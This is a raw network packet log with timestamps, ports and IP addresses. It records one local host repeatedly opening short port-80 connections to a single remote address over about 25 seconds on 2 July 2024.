Jul 2, 2024 12:22:04.105619907 CEST	55270	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:04.110429049 CEST	80	55270	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:04.327207088 CEST	80	55270	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:04.327280045 CEST	55270	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:04.441622972 CEST	55270	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:04.441922903 CEST	55271	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:04.446772099 CEST	80	55271	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:04.446887016 CEST	55271	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:04.447086096 CEST	55271	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:04.447124958 CEST	80	55270	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:04.447171926 CEST	55270	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:04.451936960 CEST	80	55271	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:05.162620068 CEST	80	55271	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:05.162674904 CEST	55271	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:05.163223982 CEST	55271	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:05.168279886 CEST	80	55271	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:05.389041901 CEST	80	55271	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:05.389115095 CEST	55271	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:05.503815889 CEST	55271	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:05.504125118 CEST	55272	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:05.508876085 CEST	80	55272	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:05.508980036 CEST	55272	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:05.509015083 CEST	80	55271	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:05.509052038 CEST	55271	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:05.509182930 CEST	55272	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:05.513978004 CEST	80	55272	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:06.233211040 CEST	80	55272	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:06.233395100 CEST	55272	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:06.233994007 CEST	55272	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:06.238795996 CEST	80	55272	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:06.556945086 CEST	80	55272	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:06.557051897 CEST	55272	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:06.660170078 CEST	55272	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:06.660495996 CEST	55273	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:06.665360928 CEST	80	55273	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:06.665455103 CEST	55273	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:06.665543079 CEST	80	55272	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:06.665586948 CEST	55273	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:06.665591955 CEST	55272	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:06.670713902 CEST	80	55273	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:07.380794048 CEST	80	55273	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:07.380865097 CEST	55273	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:07.383337975 CEST	55273	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:07.395382881 CEST	80	55273	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:07.622323990 CEST	80	55273	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:07.622432947 CEST	55273	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:07.738097906 CEST	55273	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:07.738394022 CEST	55274	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:07.743957043 CEST	80	55274	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:07.744033098 CEST	55274	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:07.744148970 CEST	55274	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:07.744236946 CEST	80	55273	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:07.744286060 CEST	55273	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:07.748891115 CEST	80	55274	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:08.431755066 CEST	80	55274	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:08.431974888 CEST	55274	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:08.432773113 CEST	55274	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:08.437618971 CEST	80	55274	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:08.647803068 CEST	80	55274	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:08.647957087 CEST	55274	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:08.753886938 CEST	55274	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:08.754178047 CEST	55275	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:08.914912939 CEST	80	55275	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:08.914926052 CEST	80	55274	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:08.915033102 CEST	55274	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:08.915255070 CEST	55275	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:08.915255070 CEST	55275	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:08.920221090 CEST	80	55275	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:09.618737936 CEST	80	55275	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:09.618812084 CEST	55275	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:09.619616985 CEST	55275	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:09.624380112 CEST	80	55275	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:09.842855930 CEST	80	55275	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:09.843039989 CEST	55275	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:09.956818104 CEST	55275	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:09.957098007 CEST	55276	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:09.961975098 CEST	80	55276	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:09.962057114 CEST	55276	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:09.962147951 CEST	55276	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:09.962208033 CEST	80	55275	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:09.962249041 CEST	55275	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:09.966941118 CEST	80	55276	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:10.682795048 CEST	80	55276	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:10.682995081 CEST	55276	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:10.683520079 CEST	55276	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:10.688381910 CEST	80	55276	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:10.907880068 CEST	80	55276	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:10.908123016 CEST	55276	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:11.019546032 CEST	55276	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:11.019857883 CEST	55277	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:11.148338079 CEST	80	55277	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:11.148502111 CEST	55277	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:11.148544073 CEST	80	55276	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:11.148591042 CEST	55276	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:11.148670912 CEST	55277	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:11.154287100 CEST	80	55277	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:11.863323927 CEST	80	55277	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:11.863507986 CEST	55277	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:11.864274025 CEST	55277	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:11.869029999 CEST	80	55277	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:12.093374968 CEST	80	55277	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:12.093439102 CEST	55277	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:12.206842899 CEST	55277	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:12.207098007 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:12.212286949 CEST	80	55278	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:12.212351084 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:12.212516069 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:12.213232040 CEST	80	55277	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:12.213280916 CEST	55277	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:12.220911980 CEST	80	55278	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:13.146414042 CEST	80	55278	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:13.146509886 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.147314072 CEST	80	55278	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:13.147363901 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.149171114 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.153925896 CEST	80	55278	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:13.365477085 CEST	80	55278	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:13.365547895 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.472449064 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.472773075 CEST	55279	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.477737904 CEST	80	55279	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:13.477823973 CEST	55279	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.477994919 CEST	55279	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.477998972 CEST	80	55278	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:13.478041887 CEST	55278	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:13.482752085 CEST	80	55279	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:14.192029953 CEST	80	55279	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:14.192173958 CEST	55279	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:14.192919970 CEST	55279	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:14.197804928 CEST	80	55279	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:14.417989016 CEST	80	55279	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:14.418162107 CEST	55279	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:14.519377947 CEST	55279	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:14.519704103 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:14.524550915 CEST	80	55280	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:14.524615049 CEST	80	55279	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:14.524643898 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:14.524663925 CEST	55279	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:14.524828911 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:14.531430006 CEST	80	55280	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:15.425018072 CEST	80	55280	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:15.425261021 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.425992966 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.426841974 CEST	80	55280	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:15.426897049 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.432956934 CEST	80	55280	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:15.643539906 CEST	80	55280	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:15.643651962 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.753673077 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.754023075 CEST	55281	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.759027004 CEST	80	55280	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:15.759084940 CEST	80	55281	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:15.759088993 CEST	55280	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.759146929 CEST	55281	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.759279013 CEST	55281	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:15.764015913 CEST	80	55281	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:16.466988087 CEST	80	55281	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:16.467206001 CEST	55281	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:16.467740059 CEST	55281	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:16.474628925 CEST	80	55281	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:16.690915108 CEST	80	55281	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:16.691107035 CEST	55281	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:16.805342913 CEST	55281	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:16.805645943 CEST	55282	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:16.810472012 CEST	80	55282	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:16.810537100 CEST	55282	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:16.810575962 CEST	80	55281	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:16.810617924 CEST	55281	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:16.815196991 CEST	55282	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:16.820044994 CEST	80	55282	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:17.515027046 CEST	80	55282	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:17.515183926 CEST	55282	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:17.515830994 CEST	55282	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:17.520528078 CEST	80	55282	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:17.741347075 CEST	80	55282	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:17.741429090 CEST	55282	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:17.849369049 CEST	55282	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:17.849663973 CEST	55283	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:18.072674990 CEST	80	55283	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:18.072757006 CEST	55283	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:18.072909117 CEST	55283	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:18.074276924 CEST	80	55282	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:18.074320078 CEST	55282	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:18.081078053 CEST	80	55283	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:18.920851946 CEST	80	55283	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:18.921039104 CEST	55283	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:18.921803951 CEST	55283	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:18.928755045 CEST	80	55283	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:19.147654057 CEST	80	55283	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:19.147723913 CEST	55283	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:19.253673077 CEST	55283	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:19.253989935 CEST	55284	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:19.258749008 CEST	80	55284	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:19.258848906 CEST	55284	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:19.258946896 CEST	55284	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:19.258994102 CEST	80	55283	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:19.259037971 CEST	55283	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:19.264488935 CEST	80	55284	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:19.965375900 CEST	80	55284	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:19.965506077 CEST	55284	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:19.966269016 CEST	55284	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:19.973548889 CEST	80	55284	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:20.188920975 CEST	80	55284	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:20.189049006 CEST	55284	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:20.301959038 CEST	55284	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:20.302263021 CEST	55285	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:20.307034016 CEST	80	55284	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:20.307073116 CEST	55284	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:20.307090998 CEST	80	55285	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:20.307145119 CEST	55285	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:20.307279110 CEST	55285	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:20.311974049 CEST	80	55285	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:21.001574993 CEST	80	55285	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:21.001733065 CEST	55285	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:21.002485991 CEST	55285	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:21.007810116 CEST	80	55285	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:21.222213984 CEST	80	55285	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:21.222352982 CEST	55285	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:21.333889961 CEST	55285	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:21.334297895 CEST	55286	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:21.339329004 CEST	80	55286	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:21.339447021 CEST	55286	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:21.339549065 CEST	80	55285	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:21.339596033 CEST	55285	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:21.339633942 CEST	55286	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:21.349437952 CEST	80	55286	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:22.039850950 CEST	80	55286	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:22.039906025 CEST	55286	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:22.040600061 CEST	55286	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:22.045428038 CEST	80	55286	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:22.089365005 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:22:22.089445114 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:22:22.263611078 CEST	80	55286	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:22.263708115 CEST	55286	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:22.379168034 CEST	55286	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:22.379493952 CEST	55287	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:22.389060020 CEST	80	55287	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:22.389079094 CEST	80	55286	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:22.389184952 CEST	55286	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:22.389199018 CEST	55287	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:22.389444113 CEST	55287	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:22.396750927 CEST	80	55287	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:23.103760958 CEST	80	55287	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:23.103873014 CEST	55287	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.113190889 CEST	55287	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.113533020 CEST	55288	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.118441105 CEST	80	55287	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:23.118458033 CEST	80	55288	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:23.118576050 CEST	55287	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.118612051 CEST	55288	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.119007111 CEST	55288	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.124510050 CEST	80	55288	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:23.128665924 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:22:23.133619070 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:22:23.828447104 CEST	80	55288	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:23.828520060 CEST	55288	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.943717957 CEST	55288	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.944112062 CEST	55289	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.948779106 CEST	80	55288	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:23.948817015 CEST	80	55289	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:23.948890924 CEST	55289	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.948935986 CEST	55288	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.949146032 CEST	55289	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:23.956130981 CEST	80	55289	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:24.649209976 CEST	80	55289	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:24.649298906 CEST	55289	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:24.652540922 CEST	55289	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:24.652936935 CEST	55290	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:24.657727957 CEST	80	55289	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:24.657742977 CEST	80	55290	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:24.657792091 CEST	55289	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:24.657835960 CEST	55290	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:24.657982111 CEST	55290	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:24.662695885 CEST	80	55290	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:25.385385990 CEST	80	55290	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:25.385464907 CEST	55290	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:25.492712975 CEST	55290	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:25.493746042 CEST	55291	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:25.499576092 CEST	80	55291	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:25.499655008 CEST	55291	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:25.500056982 CEST	80	55290	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:25.500109911 CEST	55290	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:25.500396013 CEST	55291	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:25.505381107 CEST	80	55291	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:26.194991112 CEST	80	55291	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:26.195147991 CEST	55291	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:26.198211908 CEST	55291	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:26.198755026 CEST	55292	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:26.203960896 CEST	80	55292	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:26.204046965 CEST	55292	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:26.204207897 CEST	80	55291	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:26.204344988 CEST	55292	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:26.204410076 CEST	55291	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:26.209172010 CEST	80	55292	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:26.892756939 CEST	80	55292	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:26.892960072 CEST	55292	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.006617069 CEST	55292	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.007126093 CEST	55293	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.011915922 CEST	80	55293	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:27.011984110 CEST	55293	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.012130976 CEST	80	55292	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:27.012183905 CEST	55292	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.012414932 CEST	55293	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.017180920 CEST	80	55293	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:27.797791004 CEST	80	55293	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:27.798151016 CEST	55293	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.802670956 CEST	55293	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.803013086 CEST	55294	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.808406115 CEST	80	55294	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:27.808466911 CEST	55294	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.808681965 CEST	55294	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.809005976 CEST	80	55293	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:27.809390068 CEST	55293	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:27.813553095 CEST	80	55294	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:28.522414923 CEST	80	55294	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:28.522665977 CEST	55294	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:28.637423992 CEST	55294	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:28.638225079 CEST	55295	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:28.644525051 CEST	80	55295	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:28.644606113 CEST	55295	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:28.645040989 CEST	80	55294	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:28.645220995 CEST	55294	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:28.645353079 CEST	55295	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:28.652491093 CEST	80	55295	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:29.337088108 CEST	80	55295	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:29.337160110 CEST	55295	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:29.342015982 CEST	55295	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:29.350694895 CEST	80	55295	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:29.558801889 CEST	80	55295	77.91.77.82	192.168.2.7
Jul 2, 2024 12:22:29.558978081 CEST	55295	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:29.684683084 CEST	55295	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:29.685213089 CEST	55296	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:22:29.690243006 CEST	80	55295	77.91.77.82	192.168.2.7
